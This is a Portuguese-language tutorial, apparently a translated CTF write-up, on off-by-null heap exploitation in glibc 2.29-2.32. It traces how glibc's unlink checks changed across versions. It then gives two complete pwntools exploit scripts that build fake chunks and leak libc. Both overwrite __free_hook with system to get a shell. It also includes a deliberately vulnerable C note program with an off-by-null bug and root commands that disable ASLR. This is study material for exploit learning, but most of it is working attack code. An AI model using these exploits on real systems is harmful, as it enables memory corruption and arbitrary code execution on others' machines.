Resumo de Técnicas Off-by-null em Versões Altas do glibc (2.29-2.32)
Primeiramente, é importante notar que as técnicas off-by-one em versões recentes do glibc (2.29-2.32) estão se tornando menos aplicáveis, pois métodos alternativos mais convenientes com menos restrições estão disponíveis, como House of Apple, House of Banana, contornos do mecanismo Safe-Linking, e ataques tcache stashing unlink. Recomenda-se começar com métodos não-exploratórios para melhor compreensão da heap.
Evolução do Unlink em Diferentes Versões
Versão Anterior à 2.23
void unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}
Versão 2.23
O unlink foi modificado com verificações adicionais:
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
// Nova verificação como mostrado na figura
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
Versão 2.27
O unlink foi transformado em função, mas a lógica permaneceu similar:
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
A lógica de fusão permaneceu inalterada:
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
Nas versões anteriores à 2.27, a exploração era feita modificando apenas o prev_size e prev_inuse.
Versão 2.29
Versões aplicáveis: 2.29, 2.32
Pré-requisitos:
A função unlink foi modificada com uma verificação adicional:
static void unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
Mudanças na consolidação:
O processo de fusão foi modificado para incluir uma verificação de tamanho:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
// Nova proteção
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* consolidate forward */
if (!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
Para explorar off-by-null nessas versões, é necessário criar um chunk falso que satisfaça as novas verificações.
Método de Força Bruta
- Criar preenchimento para elevar o endereço do chunk, garantindo que o segundo byte seja \x00 (probabilidade 1/16).
- Fazer o chunk entrar no large bin para usar seu ponteiro next (que aponta para si mesmo quando é o único chunk no large bin).
- Alocar chunks do fast bin e manipular ponteiros para construir o ambiente necessário.
- Explorar vulnerabilidade UAF para modificar o ponteiro bk do chunk no small bin.
- Requisitar o chunk falso e modificar o ponteiro fd do chunk original.
Desvantagem: Requer restrições específicas de tamanho para usar o fast bin.
Estudo de Caso: happyending
Antes da depuração, desative o ASLR:
su
# Digite a senha root
echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
# 0
Estratégia:
- Elevar o endereço para que o segundo byte seja 0 (chunk a).
- Construir um chunk falso, considerando a necessidade de contornar a verificação de lista duplamente ligada do unlink.
- Manipular ponteires residuais para contornar o unlink posteriormente.
- Explorar a vulnerabilidade off-by-null para adicionar o chunk falso ao unsorted bin.
- Validar a sobreposição de chunks e obter execução de código.
Exemplo de Exploit:
from tools import*
context.log_level ='DEBUG'
def novo(tamanho,conteudo):
p.sendlineafter('>\n','1')
p.sendlineafter('length :',str(tamanho))
p.sendafter('them!',conteudo)
def liberar(indice):
p.sendlineafter('>','2')
p.sendlineafter('debuff :',str(indice))
def mostrar(indice):
p.sendlineafter('>','3')
p.sendlineafter('blessing :',str(indice))
p,e,libc=load('pwn')
add_p=0x129E
delete_p=0x1415
write_p=0x1547
# Preenchimento inicial
for i in range(4):
novo(0x1000,'FMYY')
# Chunk com endereço modificado
novo(0x1000-0x3E0,'FMYY')
# Configuração large bin
for i in range(7):
novo(0x28,'FMYY')
novo(0xB20,'FALSO')
novo(0x10,'FMYY')
liberar(12)
novo(0x1000,'FMYY')
novo(0x28,p64(0) + p64(0x521) + b'\x40')
# Configuração small bin
novo(0x28,'F')
novo(0x28,'M')
novo(0x28,'Y')
novo(0x28,'Y')
for i in range(7):
liberar(5+i)
liberar(17)
liberar(15)
for i in range(7):
novo(0x28,'FMYY')
novo(0x400,'FMYY')
novo(0x28,p64(0) + b'\x20')
novo(0x28,'limpar')
for i in range(7):
liberar(5 + i)
liberar(16)
liberar(14)
for i in range(7):
novo(0x28,'FMYY')
novo(0x28,'\x20')
novo(0x28,'limpar')
novo(0x28,'Alvo')
novo(0x5F8,'Ultimo')
liberar(20)
novo(0x28,b'\x00'*0x20 + p64(0x520))
liberar(21)
debug(p,'pie',add_p,delete_p,write_p)
novo(0x40,'aaaaaaa')
mostrar(16)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,b'\x00')) - 0x70- libc.sym['__malloc_hook']
log_addr('libc_base')
liberar_hook = libc_base + libc.sym['__free_hook']
sistema = libc_base + libc.sym['system']
liberar(21)
liberar(14)
novo(0x28,b'\x00'*0x10 + p64(liberar_hook))
novo(0x40,'/bin/sh\x00')
novo(0x40,p64(sistema))
liberar(21)
p.interactive()
Versão Melhorada
Este método utiliza apenas large bin e unsorted bin, diferindo do anterior pelo tamanho dos chunks A e B no large bin.
Cenário de configuração concluído:
- falso->fd=A, A->bk=falso
- falso->bk=B, B->fd=falso
Explicação da técnica:
- Alocar três chunks A, B0 e C0, com C0 tendo o último byte do endereço como \x00.
- Configurar prev->fd_next=A e prev->bk_next=B (fazendo com que prev, A e B entrem no large bin).
- Requisitar prev novamente e falsificar o chunk.
- Modificar o prev_size do victim.
- Manipular os ponteiros A e B para satisfazer as condições do unlink.
Método Não-Exploratório
A principal diferença em relação ao método de força bruta é a direção da fusão:
- Método de força bruta: Fusão descendente (para endereços mais baixos), exigindo modificação de pelo menos dois bytes e necessitando de força bruta.
- Método não-exploratório: Fusão ascendente (para endereços mais altos), permitindo modificar apenas o último byte do ponteiro para \x00, sem necessidade de força bruta.
Processo de depuração:
- Layout do chunk com C0 tendo o último byte do endereço como \x00.
- Confgiurar a lista ligada usando unsorted bin.
- Modificar o tamanho de C0 alocando um chunk maior que B0 por 0x20.
- Configurar os ponteiros fd e bk do chunk falso.
- Explorar a vulnerabilidade off-by-null para acionar a fusão.
Exemplo de Código Fonte:
#include<stdio.h>
struct bloco{
long *ponto;
unsigned int tamanho;
}blocos[9];
void adicionar()
{
unsigned int indice=0;
unsigned int tamanho=0;
puts("Índice:");
scanf("%d",&indice);
if(indice>=9)
{
puts("índice incorreto!");
exit(0);
}
if(blocos[indice].ponto)
{
puts("já existe!");
return ;
}
puts("Tamanho:");
scanf("%d",&tamanho);
blocos[indice].ponto=malloc(tamanho);
blocos[indice].tamanho=tamanho;
if(!blocos[indice].ponto)
{
puts("erro malloc!");
exit(0);
}
char *p=blocos[indice].ponto;
puts("Conteúdo:");
p[read(0,blocos[indice].ponto,blocos[indice].tamanho)]=0;
}
void mostrar()
{
unsigned int indice=0;
puts("Índice:");
scanf("%d",&indice);
if(indice>=9)
{
puts("índice incorreto!");
exit(0);
}
if(!blocos[indice].ponto)
{
puts("Está vazio!");
exit(0);
}
puts(blocos[indice].ponto);
}
void editar()
{
unsigned int indice;
puts("Índice:");
scanf("%d",&indice);
if(indice>=9)
{
puts("índice incorreto!");
exit(0);
}
if(!blocos[indice].ponto)
{
puts("Está vazio!");
exit(0);
}
char *p=blocos[indice].ponto;
puts("Conteúdo:");
p[read(0,blocos[indice].ponto,blocos[indice].tamanho)]=0;
}
void deletar()
{
unsigned int indice;
puts("Índice:");
scanf("%d",&indice);
if(indice>=9)
{
puts("índice incorreto!");
exit(0);
}
if(!blocos[indice].ponto)
{
puts("Está vazio!");
exit(0);
}
free(blocos[indice].ponto);
blocos[indice].ponto=0;
blocos[indice].tamanho=0;
}
void menu()
{
puts("(1) adicionar bloco");
puts("(2) mostrar conteúdo");
puts("(3) editar bloco");
puts("(4) deletar bloco");
puts(">");
}
void inicializar()
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
}
void main()
{
inicializar();
unsigned int opcao;
puts("Bem-vindo ao novo caderno escolar.");
while(1)
{
menu();
scanf("%d",&opcao);
switch(opcao)
{
case 1:
adicionar();
break;
case 2:
mostrar();
break;
case 3:
editar();
break;
case 4:
deletar();
break;
default:
exit(0);
}
}
}
Exemplo de Exploit Não-Exploratório:
from tools import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p,e,libc=load('poc')
def escolha(opcao):
p.sendlineafter('>',str(opcao))
def escolher_indice(indice):
p.sendlineafter("Índice:\n", str(indice))
def adicionar(indice,tamanho, conteudo='A'):
escolha(1)
escolher_indice(indice)
p.sendlineafter("Tamanho:", str(tamanho))
p.sendafter("Conteúdo:", conteudo)
def editar(indice,conteudo,completo=False):
escolha(3)
escolher_indice(indice)
p.sendafter("Conteúdo:", conteudo)
def mostrar(indice):
escolha(2)
escolher_indice(indice)
def deletar(indice):
escolha(4)
escolher_indice(indice)
# =============================================
# Passo 1: P&0xff = 0
adicionar_p=0x9fe
deletar_p=0xD75
editar_p=0xCA7
mostrar_p=0xB9F
adicionar(0,0x418, "A"*0x100) #0 A = P->fd
adicionar(1,0x108+0x40) #1 barreira
adicionar(2,0x438, "B0"*0x100) #2 B0 auxiliar
adicionar(3,0x438, "C0"*0x100) #3 C0 = P , P&0xff = 0
adicionar(4,0x108,'4'*0x100) #4 barreira
adicionar(5, 0x488, "H"*0x100) # H0. auxiliar para escrever bk->fd. bloco vítima.
adicionar(6,0x428, "D"*0x100) # 6 D = P->bk
adicionar(7,0x108) # 7 barreira
# =============================================
# Passo 2: usar unsortedbin para definir p->fd =A , p->bk=D
deletar(0) # A
deletar(3) # C0
deletar(6) # D
# unsortedbin: D-C0-A C0->FD=A
deletar(2) # fusão B0 com C0. preservar p->fd p->bk
adicionar(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2]) # colocar A,D no largebin, dividir BC. usar B1 para definir p->size=0x551
# Recuperação
adicionar(3,0x418) # C1 do ub
adicionar(6,0x428) # bk D do largebin
adicionar(0,0x418,b"0"*0x100) # fd A do largein
# =============================================
# Passo 3: usar unsortedbin para definir fd->bk
# sobrescrita parcial fd -> bk
deletar(0) # A=P->fd
deletar(3) # C1
# unsortedbin: C1-A , A->BK = C1
adicionar(0, 0x418, 'a' * 8) # 2 sobrescrita parcial bk A->bk = p
adicionar(3, 0x418)
# =============================================
# Passo 4: usar ub para definir bk->fd
deletar(3) # C1
deletar(6) # D=P->bk
# ub-D-C1 D->FD = C1
deletar(5) # fusão D com H, preservar D->fd
adicionar(6,0x500-8, b'6'*0x488 + p64(0x431)) # H1. bk->fd = p, escrita parcial \x00
adicionar(3, 0x3b0) # recuperação
# =============================================
# Passo 5: off by null
editar(4, 0x100*b'4' + p64(0x550))# off by null, definir fake_prev_size = 0x550, prev inuse=0
debug(p,'pie',adicionar_p,deletar_p,editar_p,mostrar_p)
deletar(6) # fusão H1 com C0. acionar sobreposição C0,4,6
# =============================================
# Passo 6: sobreposição
adicionar(6,0x438) # colocar libc no bloco 4
# z()
mostrar(4) # libc
endereco_libc = u64(p.recv(6).ljust(8,b'\x00'))
base_libc = endereco_libc-0x1e4ca0
log_addr('endereco_libc')
log_addr('base_libc')
deletar(6) # consolidar
adicionar(6, 0x458, 0x438*b'6'+p64(0x111)) # corrigir tamanho para bloco 4. 6 sobrepondo 4
deletar(7) # tcache
deletar(4) # tcache
editar(6, 0x438*b'6'+p64(0x111)+p64(base_libc+libc.sym['__free_hook'])) # definir 4->fd= __free_hook
adicionar(7,0x108,'/bin/sh\x00')
adicionar(4,0x108,'/bin/sh\x00')
editar(4, p64(base_libc+libc.sym['system']))
deletar(7)
p.interactive()